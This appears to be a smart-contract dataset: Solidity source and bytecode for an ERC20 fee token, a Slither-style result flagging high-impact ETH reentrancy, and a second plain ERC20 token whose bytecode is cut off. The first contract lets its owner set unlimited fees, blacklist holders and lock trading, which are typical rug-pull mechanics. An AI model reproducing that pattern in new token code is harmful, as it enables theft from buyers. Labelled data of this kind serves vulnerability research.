_tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 6; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 8; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0x3dd532E51E6590753aB3dC88cf302D610B145b12); address payable private _marketingAddress = payable(0x3dd532E51E6590753aB3dC88cf302D610B145b12); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 2000000000 * 10**9; uint256 public _maxWalletSize = 20000000 * 10**9; uint256 public _swapTokensAtAmount = 10000000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f0461461055d578063dd62ed3e1461057d578063ea1644d5146105c3578063f2fde38b146105e357600080fd5b8063a2a957bb146104d8578063a9059cbb146104f8578063bfd7928414610518578063c3c8cd801461054857600080fd5b80638f70ccf7116100d15780638f70ccf7146104525780638f9a55c01461047257806395d89b411461048857806398a5c315146104b857600080fd5b80637d1db4a5146103f15780637f2feddc146104075780638da5cb5b1461043457600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038757806370a082311461039c578063715018a6146103bc57806374010ece146103d157600080fd5b8063313ce5671461030b57806349bd5a5e146103275780636b999053146103475780636d8aa8f81461036757600080fd5b80631694505e116101ab5780631694505e1461027857806318160ddd146102b057806323b872dd146102d55780632fd689e3146102f557600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024857600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611958565b610603565b005b34801561020a57600080fd5b5060408051808201909152600f81526e205820414520412d58494920494e5560881b60208201525b60405161023f9190611a1d565b60405180910390f35b34801561025457600080fd5b50610268610263366004611a72565b6106a2565b604051901515815260200161023f565b34801561028457600080fd5b50601454610298906001600160a01b031681565b6040516001600160a01b03909116815260200161023f565b3480156102bc57600080fd5b50670de0b6b3a76400005b60405190815260200161023f565b3480156102e157600080fd5b506102686102f0366004611a9e565b6106b9565b34801561030157600080fd5b506102c760185481565b34801561031757600080fd5b506040516009815260200161023f565b34801561033357600080fd5b50601554610298906001600160a01b031681565b34801561035357600080fd5b506101fc610362366004611adf565b610722565b34801561037357600080fd5b506101fc610382366004611b0c565b61076d565b34801561039357600080fd5b506101fc6107b5565b3480156103a857600080fd5b506102c76103b7366004611adf565b610800565b3480156103c857600080fd5b506101fc610822565b3480156103dd57600080fd5b506101fc6103ec366004611b27565b610896565b3480156103fd57600080fd5b506102c760165481565b34801561041357600080fd5b506102c7610422366004611adf565b60116020526000908152604090205481565b34801561044057600080fd5b506000546001600160a01b0316610298565b34801561045e57600080fd5b506101fc61046d366004611b0c565b6108c5565b34801561047e57600080fd5b506102c760175481565b34801561049457600080fd5b506040805180820190915260078152665841454158494960c81b6020820152610232565b3480156104c457600080fd5b506101fc6104d3366004611b27565b61090d565b3480156104e457600080fd5b506101fc6104f3366004611b40565b61093c565b34801561050457600080fd5b50610268610513366004611a72565b61097a565b34801561052457600080fd5b50610268610533366004611adf565b60106020526000908152604090205460ff1681565b34801561055457600080fd5b506101fc610987565b34801561056957600080fd5b506101fc610578366004611b72565b6109db565b34801561058957600080fd5b506102c7610598366004611bf6565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105cf57600080fd5b506101fc6105de366004611b27565b610a7c565b3480156105ef57600080fd5b506101fc6105fe366004611adf565b610aab565b6000546001600160a01b031633146106365760405162461bcd60e51b815260040161062d90611c2f565b60405180910390fd5b60005b815181101561069e5760016010600084848151811061065a5761065a611c64565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069681611c90565b915050610639565b5050565b60006106af338484610b95565b5060015b92915050565b60006106c6848484610cb9565b610718843361071385604051806060016040528060288152602001611daa602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111f5565b610b95565b5060019392505050565b6000546001600160a01b0316331461074c5760405162461bcd60e51b815260040161062d90611c2f565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107975760405162461bcd60e51b815260040161062d90611c2f565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107ea57506013546001600160a01b0316336001600160a01b0316145b6107f357600080fd5b476107fd8161122f565b50565b6001600160a01b0381166000908152600260205260408120546106b390611269565b6000546001600160a01b0316331461084c5760405162461bcd60e51b815260040161062d90611c2f565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108c05760405162461bcd60e51b815260040161062d90611c2f565b601655565b6000546001600160a01b031633146108ef5760405162461bcd60e51b815260040161062d90611c2f565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109375760405162461bcd60e51b815260040161062d90611c2f565b601855565b6000546001600160a01b031633146109665760405162461bcd60e51b815260040161062d90611c2f565b600893909355600a91909155600955600b55565b60006106af338484610cb9565b6012546001600160a01b0316336001600160a01b031614806109bc57506013546001600160a01b0316336001600160a01b0316145b6109c557600080fd5b60006109d030610800565b90506107fd816112ed565b6000546001600160a01b03163314610a055760405162461bcd60e51b815260040161062d90611c2f565b60005b82811015610a76578160056000868685818110610a2757610a27611c64565b9050602002016020810190610a3c9190611adf565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6e81611c90565b915050610a08565b50505050565b6000546001600160a01b03163314610aa65760405162461bcd60e51b815260040161062d90611c2f565b601755565b6000546001600160a01b03163314610ad55760405162461bcd60e51b815260040161062d90611c2f565b6001600160a01b038116610b3a5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161062d565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bf75760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161062d565b6001600160a01b038216610c585760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161062d565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d1d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161062d565b6001600160a01b038216610d7f5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161062d565b60008111610de15760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161062d565b6000546001600160a01b03848116911614801590610e0d57506000546001600160a01b03838116911614155b156110ee57601554600160a01b900460ff16610ea6576000546001600160a01b03848116911614610ea65760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400606482015260840161062d565b601654811115610ef85760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000604482015260640161062d565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3a57506001600160a01b03821660009081526010602052604090205460ff16155b610f925760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b606482015260840161062d565b6015546001600160a01b038381169116146110175760175481610fb484610800565b610fbe9190611cab565b106110175760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b606482015260840161062d565b600061102230610800565b60185460165491925082101590821061103b5760165491505b8080156110525750601554600160a81b900460ff16155b801561106c57506015546001600160a01b03868116911614155b80156110815750601554600160b01b900460ff165b80156110a657506001600160a01b03851660009081526005602052604090205460ff16155b80156110cb57506001600160a01b03841660009081526005602052604090205460ff16155b156110eb576110d9826112ed565b4780156110e9576110e94761122f565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061113057506001600160a01b03831660009081526005602052604090205460ff165b8061116257506015546001600160a01b0385811691161480159061116257506015546001600160a01b03848116911614155b1561116f575060006111e9565b6015546001600160a01b03858116911614801561119a57506014546001600160a01b03848116911614155b156111ac57600854600c55600954600d555b6015546001600160a01b0384811691161480156111d757506014546001600160a01b03858116911614155b156111e957600a54600c55600b54600d555b610a7684848484611467565b600081848411156112195760405162461bcd60e51b815260040161062d9190611a1d565b5060006112268486611cc3565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561069e573d6000803e3d6000fd5b60006006548211156112d05760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161062d565b60006112da611495565b90506112e683826114b8565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061133557611335611c64565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561138e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113b29190611cda565b816001815181106113c5576113c5611c64565b6001600160a01b0392831660209182029290920101526014546113eb9130911684610b95565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611424908590600090869030904290600401611cf7565b600060405180830381600087803b15801561143e57600080fd5b505af1158015611452573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b80611474576114746114fa565b61147f848484611528565b80610a7657610a76600e54600c55600f54600d55565b60008060006114a261161f565b90925090506114b182826114b8565b9250505090565b60006112e683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061165f565b600c5415801561150a5750600d54155b1561151157565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061153a8761168d565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061156c90876116ea565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461159b908661172c565b6001600160a01b0389166000908152600260205260409020556115bd8161178b565b6115c784836117d5565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161160c91815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061163a82826114b8565b82101561165657505060065492670de0b6b3a764000092509050565b90939092509050565b600081836116805760405162461bcd60e51b815260040161062d9190611a1d565b5060006112268486611d68565b60008060008060008060008060006116aa8a600c54600d546117f9565b92509250925060006116ba611495565b905060008060006116cd8e87878761184e565b919e509c509a509598509396509194505050505091939550919395565b60006112e683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111f5565b6000806117398385611cab565b9050838110156112e65760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161062d565b6000611795611495565b905060006117a3838361189e565b306000908152600260205260409020549091506117c0908261172c565b30600090815260026020526040902055505050565b6006546117e290836116ea565b6006556007546117f2908261172c565b6007555050565b6000808080611813606461180d898961189e565b906114b8565b90506000611826606461180d8a8961189e565b9050600061183e826118388b866116ea565b906116ea565b9992985090965090945050505050565b600080808061185d888661189e565b9050600061186b888761189e565b90506000611879888861189e565b9050600061188b8261183886866116ea565b939b939a50919850919650505050505050565b6000826118ad575060006106b3565b60006118b98385611d8a565b9050826118c68583611d68565b146112e65760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161062d565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107fd57600080fd5b803561195381611933565b919050565b6000602080838503121561196b57600080fd5b823567ffffffffffffffff8082111561198357600080fd5b818501915085601f83011261199757600080fd5b8135818111156119a9576119a961191d565b8060051b604051601f19603f830116810181811085821117156119ce576119ce61191d565b6040529182528482019250838101850191888311156119ec57600080fd5b938501935b82851015611a1157611a0285611948565b845293850193928501926119f1565b98975050505050505050565b600060208083528351808285015260005b81811015611a4a57858101830151858201604001528201611a2e565b81811115611a5c576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a8557600080fd5b8235611a9081611933565b946020939093013593505050565b600080600060608486031215611ab357600080fd5b8335611abe81611933565b92506020840135611ace81611933565b929592945050506040919091013590565b600060208284031215611af157600080fd5b81356112e681611933565b8035801515811461195357600080fd5b600060208284031215611b1e57600080fd5b6112e682611afc565b600060208284031215611b3957600080fd5b5035919050565b60008060008060808587031215611b5657600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b8757600080fd5b833567ffffffffffffffff80821115611b9f57600080fd5b818601915086601f830112611bb357600080fd5b813581811115611bc257600080fd5b8760208260051b8501011115611bd757600080fd5b602092830195509350611bed9186019050611afc565b90509250925092565b60008060408385031215611c0957600080fd5b8235611c1481611933565b91506020830135611c2481611933565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611ca457611ca4611c7a565b5060010190565b60008219821115611cbe57611cbe611c7a565b500190565b600082821015611cd557611cd5611c7a565b500390565b600060208284031215611cec57600080fd5b81516112e681611933565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d475784516001600160a01b031683529383019391830191600101611d22565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d8557634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611da457611da4611c7a565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209dc5e2f41752c5ea29240cb5d190f23769a48c9fe2093cfad32c45fd62763fd764736f6c634300080c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
3,672
0xbfb497111f5f1216e1c5c153f8a606d7e9c78262
/* Copyright 2018 The Fixed Chain. */ pragma solidity 0.4.21; /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { require(_value <= balances[msg.sender]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); emit Burn(burner, _value); } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract FixedChain is StandardToken { string constant public name = "Fixed Chain"; string constant public symbol = "FIC"; uint8 constant public decimals = 18; uint public totalSupply = 500000000000000000000000000; function FixedChain() public { balances[msg.sender] = totalSupply; } }
0x6060604052600436106100ae5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100b3578063095ea7b31461013d57806318160ddd1461017357806323b872dd14610198578063313ce567146101c057806366188463146101e957806370a082311461020b57806395d89b411461022a578063a9059cbb1461023d578063d73dd6231461025f578063dd62ed3e14610281575b600080fd5b34156100be57600080fd5b6100c66102a6565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156101025780820151838201526020016100ea565b50505050905090810190601f16801561012f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561014857600080fd5b61015f600160a060020a03600435166024356102dd565b604051901515815260200160405180910390f35b341561017e57600080fd5b610186610349565b60405190815260200160405180910390f35b34156101a357600080fd5b61015f600160a060020a036004358116906024351660443561034f565b34156101cb57600080fd5b6101d36104d1565b60405160ff909116815260200160405180910390f35b34156101f457600080fd5b61015f600160a060020a03600435166024356104d6565b341561021657600080fd5b610186600160a060020a03600435166105d0565b341561023557600080fd5b6100c66105eb565b341561024857600080fd5b61015f600160a060020a0360043516602435610622565b341561026a57600080fd5b61015f600160a060020a036004351660243561071d565b341561028c57600080fd5b610186600160a060020a03600435811690602435166107c1565b60408051908101604052600b81527f466978656420436861696e000000000000000000000000000000000000000000602082015281565b600160a060020a03338116600081815260026020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60035481565b6000600160a060020a038316151561036657600080fd5b600160a060020a03841660009081526001602052604090205482111561038b57600080fd5b600160a060020a03808516600090815260026020908152604080832033909416835292905220548211156103be57600080fd5b600160a060020a0384166000908152600160205260409020546103e7908363ffffffff6107ec16565b600160a060020a03808616600090815260016020526040808220939093559085168152205461041c908363ffffffff6107fe16565b600160a060020a03808516600090815260016020908152604080832094909455878316825260028152838220339093168252919091522054610464908363ffffffff6107ec16565b600160a060020a03808616600081815260026020908152604080832033861684529091529081902093909355908516917fddf252ad1be2c89b69c2b068fc